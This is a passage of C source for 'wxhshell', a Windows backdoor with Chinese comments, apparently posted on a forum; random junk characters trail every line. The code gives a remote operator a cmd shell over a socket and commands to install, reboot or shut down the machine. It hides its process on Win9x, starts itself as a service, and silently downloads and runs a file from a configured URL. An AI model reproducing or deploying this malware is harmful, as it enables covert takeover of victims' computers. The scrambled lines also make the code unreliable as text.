    switch(cmd[0]) { hd'JXKMy  
  Za>0&Fnf  
  // 帮助 J/{!_M-  
  case '?': { b.4H4LV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q&@~<!t  
    break; PlX6,3F  
  } Wifr%&t{J  
  // 安装 2H]~X9,z2  
  case 'i': { egd%,`  
    if(Install()) PdkS3Hz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iVQ)hs W/  
    else 0o>l+c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G|LJOq7QB  
    break; hk7kg/"  
    } s4&JBm(33N  
  // 卸载 U.kTdNSp  
  case 'r': { gE}+`w/X  
    if(Uninstall()) 5?yc*mOZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xh[02iL-  
    else 7R{(\s\9:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ($vaj;  
    break; Or2J  
    } Ibbpy++d[  
  // 显示 wxhshell 所在路径 d$;1%rRj8  
  case 'p': { 5TB==Fj ?  
    char svExeFile[MAX_PATH]; Rr!oT?6J?  
    strcpy(svExeFile,"\n\r"); ^]_5oFRIj  
      strcat(svExeFile,ExeFile); UD+r{s/%  
        send(wsh,svExeFile,strlen(svExeFile),0); /+p]VHP\  
    break; m|%L[h1  
    } ,Qw\w,  
  // 重启 SBbPO5^](  
  case 'b': { FZi'#(y  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UEb'b,O_9  
    if(Boot(REBOOT)) |nu)=Ag  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `;R [*7  
    else { IuW5LS  
    closesocket(wsh); -IP3I  
    ExitThread(0); /BaXWrd+  
    } {<k}U;uiO  
    break; p&O-]o8  
    } "+BNas^rF  
  // 关机 _]/&NSk  
  case 'd': { f'-) 3T  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @&4s)&-F  
    if(Boot(SHUTDOWN)) }vof| (Yh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .zMM!l3  
    else { 6tDCaB  
    closesocket(wsh); _XP3|E;I/  
    ExitThread(0); pRTdP/(OQ  
    } .o"FT~}z  
    break; xtN=?WjVe0  
    } * SHQ[L4{  
  // 获取shell B+pJWl8u  
  case 's': { re%MT@L#  
    CmdShell(wsh); 4or8fG  
    closesocket(wsh); .%3qzOrN  
    ExitThread(0); efnj5|JSV  
    break; G#(+p|n  
  } !J%m7 A  
  // 退出 )tB1jcI;  
  case 'x': { f|cF [&wo  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #ozQF~  
    CloseIt(wsh); L(ni6-  
    break; Q =!f,  
    } 2TZ+R7B?  
  // 离开 -y1t;yU.L  
  case 'q': { Z,ZebS@yG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #2U4}#Mi  
    closesocket(wsh); ]di9dLT  
    WSACleanup(); \~{b;$N}  
    exit(1); EvJ"%:bp  
    break; Z7@~#)3  
        } 45DR%cz  
  } w*-1*XNA  
  } \@eC^D2  
o@!!I w  
  // 提示信息 gvi]#|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w-3 B~e  
} Z"u|-RoBV  
  } @m99xF\e  
rQ!X  
  return; p#T^o]+  
} "v9i;Ba>+  
YJ[Jo3M@j0  
// shell模块句柄 Ac@ zTK6>  
int CmdShell(SOCKET sock) 7lJs{$ P  
{ R8K ?! Z  
STARTUPINFO si; A!\-e*+W=  
ZeroMemory(&si,sizeof(si)); GSh~j-C'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4-dV%DgC  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {k#RWDespy  
PROCESS_INFORMATION ProcessInfo; oP0ZJK&;  
char cmdline[]="cmd"; -?K?P=B;X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?{bAyh/  
  return 0; *wY { ~zh  
} nOE 1bf^l  
kpU-//lk+  
// 自身启动模式 kl90w  
int StartFromService(void) 5 Y|(i1  
{ Ksu_4dE  
typedef struct k"V@9q;*  
{  #VA8a=t  
  DWORD ExitStatus; *G,'V,?  
  DWORD PebBaseAddress; z#|#Cq`VG  
  DWORD AffinityMask; ncy?w e  
  DWORD BasePriority; aRh1Q=^@(4  
  ULONG UniqueProcessId; 'J=knjAT  
  ULONG InheritedFromUniqueProcessId; CaV>\E)  
}   PROCESS_BASIC_INFORMATION; #FHyP1uyc  
s,2gd'  
PROCNTQSIP NtQueryInformationProcess; ,svj(HP$  
ZGHh!Ds;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nLfITr|5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]rs7%$ZW  
H |K}m,g  
  HANDLE             hProcess; =%Yw;% 0)Y  
  PROCESS_BASIC_INFORMATION pbi; YhzDi>hob  
w=txSF&Qr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); IRxFcLk  
  if(NULL == hInst ) return 0; 1Z+\>~8  
=rrbS8To=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tHj |_t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "++q. y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); *k7vm%#ns  
;J)8#|  
  if (!NtQueryInformationProcess) return 0; 7rdPA9  
pJK}9p=4`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |4XR [eX  
  if(!hProcess) return 0; /h!Y/\kI  
"V:24\vO  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; B9-Nb 4  
WRWcB  
  CloseHandle(hProcess); mu!hD^fw  
LE" t'R   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Y.<&phv  
if(hProcess==NULL) return 0; p^s k?E  
)L%i"=<Bdy  
HMODULE hMod; &>Ko}?w  
char procName[255]; J6) &b7  
unsigned long cbNeeded; =:!$'q:  
GG}(*pOr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); J7C2:zj  
SuHv{u45  
  CloseHandle(hProcess); mN9Uyz5G  
k$hNibpkt  
if(strstr(procName,"services")) return 1; // 以服务启动 ;{Sgv^A  
e0#/3$\aSV  
  return 0; // 注册表启动 p=U/l#xO  
}  VS:UVe  
cVR3_e{&H  
// 主模块 =>0+BD  
int StartWxhshell(LPSTR lpCmdLine) aC&ZV}8of  
{ zP|y3`. 52  
  SOCKET wsl; <KFE.\*Z4  
BOOL val=TRUE; *FwHZZ~U  
  int port=0; LQnkpy3A  
  struct sockaddr_in door; ^lP_{ c  
?QnVWu2K  
  if(wscfg.ws_autoins) Install(); SnhB$DG  
RRNoX }  
port=atoi(lpCmdLine); ;bZIj` D(  
/cy'% .!  
if(port<=0) port=wscfg.ws_port; iuX82z`  
CulU?-[i  
  WSADATA data; \rw/d5.  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; iE|qU_2Y  
S!<1C Fh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =.]>,N`C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ww]^H$In  
  door.sin_family = AF_INET; G2nL#l~@)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); B~_='0Gm[  
  door.sin_port = htons(port); b 83__i  
w :w  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { + !I7(gL  
closesocket(wsl); $hkMJ),T~  
return 1; ~)zoIM\  
} A-GRuC  
NdS6j'%B@7  
  if(listen(wsl,2) == INVALID_SOCKET) { S[b)`Wi D  
closesocket(wsl); jDp]}d|f)  
return 1; J#0oL_xY#  
} Q/%(&4>'y  
  Wxhshell(wsl); EzDj,!!<w  
  WSACleanup(); `J>76WN  
;?y*@ *2u  
return 0; 5PJB<M_m:  
&?@gUk74"  
} 6;lJs,I1w{  
+G!N@O  
// 以NT服务方式启动 ? 9.V@+i  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) p<|I!n&9  
{ a:o Z5PX=  
DWORD   status = 0; Sv7_-#SW<(  
  DWORD   specificError = 0xfffffff; QL>G-Rp  
_)7dy2%{q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s7FJJTn  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N F[v/S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; s_=/p5\  
  serviceStatus.dwWin32ExitCode     = 0; Dj<]eG]  
  serviceStatus.dwServiceSpecificExitCode = 0; iI[Z|"a21  
  serviceStatus.dwCheckPoint       = 0; )V^J^1  
  serviceStatus.dwWaitHint       = 0; m[7i<'+S  
IeqJ>t:   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); IX7|_ci  
  if (hServiceStatusHandle==0) return; -$(,&qyk  
) #/@Jo2F  
status = GetLastError(); |kwkikGQS  
  if (status!=NO_ERROR) DRo@gYDn  
{ y&0&K 4aa  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; uA?_\z?  
    serviceStatus.dwCheckPoint       = 0; #rZk&q  
    serviceStatus.dwWaitHint       = 0; Tr1#=&N0  
    serviceStatus.dwWin32ExitCode     = status; yqF$J"=|  
    serviceStatus.dwServiceSpecificExitCode = specificError; nb:J"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); JTw'ecFev  
    return; zX-6]j;  
  } S8O^^jJq;  
.wrNRU7s  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =a`l1zn8=  
  serviceStatus.dwCheckPoint       = 0; ~-,P1 u!  
  serviceStatus.dwWaitHint       = 0; +e0]Y8J{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f:k3j}&  
} w#Y<~W&  
)$/Gh&1G  
// 处理NT服务事件,比如:启动、停止 2&E1)^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [?<"SJ,`  
{  H}NW?  
switch(fdwControl) C7(kV{h$d  
{ j:%~:  
case SERVICE_CONTROL_STOP: @L%9NqE`O  
  serviceStatus.dwWin32ExitCode = 0; R|T_9/#)  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M%wj6!5  
  serviceStatus.dwCheckPoint   = 0; BJ3st  
  serviceStatus.dwWaitHint     = 0; 29K09 0f  
  { D?rQQxb  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #&G^%1!  
  } IKM=Q. 7j  
  return; z.g'8#@  
case SERVICE_CONTROL_PAUSE: :\Z;FA@g(g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .`!|^h%0  
  break; C#X0Cn0ln  
case SERVICE_CONTROL_CONTINUE: 5Qp5JMK  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b|T}mn  
  break; ;l_%;O5  
case SERVICE_CONTROL_INTERROGATE: ,CguY/y  
  break; H&6 5X  
}; rN)T xH&*p  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); pR8]HNY0  
} :K&   
E[J7FgU)<S  
// 标准应用程序主函数 tr2@{xb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M:W9h+z  
{ XF1x*zc  
0X\,!FL  
// 获取操作系统版本 >2 gemTy  
OsIsNt=GetOsVer(); vN%zk(?T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); n 5NkjhP~Z  
)< ~1AL  
  // 从命令行安装 QQKvy0?1  
  if(strpbrk(lpCmdLine,"iI")) Install(); Cw]Q)rX{  
E9 QA<w  
  // 下载执行文件 \%9,< -~[  
if(wscfg.ws_downexe) { \GeUX <Fl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -OZRSjmY  
  WinExec(wscfg.ws_filenam,SW_HIDE); 5gg_c?Vh/  
} v709#/ cR  
TL+a_]3@  
if(!OsIsNt) { EI2V<v  
// 如果时win9x,隐藏进程并且设置为注册表启动 lY_E=K]  
HideProc();  PA"xb3@I  
StartWxhshell(lpCmdLine); 3e"_R  
}  o@_pV  
else U]dz_%CRP  
  if(StartFromService()) "])X0z yM  
  // 以服务方式启动  *5 FSq  
  StartServiceCtrlDispatcher(DispatchTable); /Cr0jWu _  
else j_SRCm~:  
  // 普通方式启动 h2+vl@X  
  StartWxhshell(lpCmdLine); q>w@W:tZ  
#rzq9}9tB  
return 0; tv)x(MX  
}
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只看该作者 1 发表于: 2006-10-10
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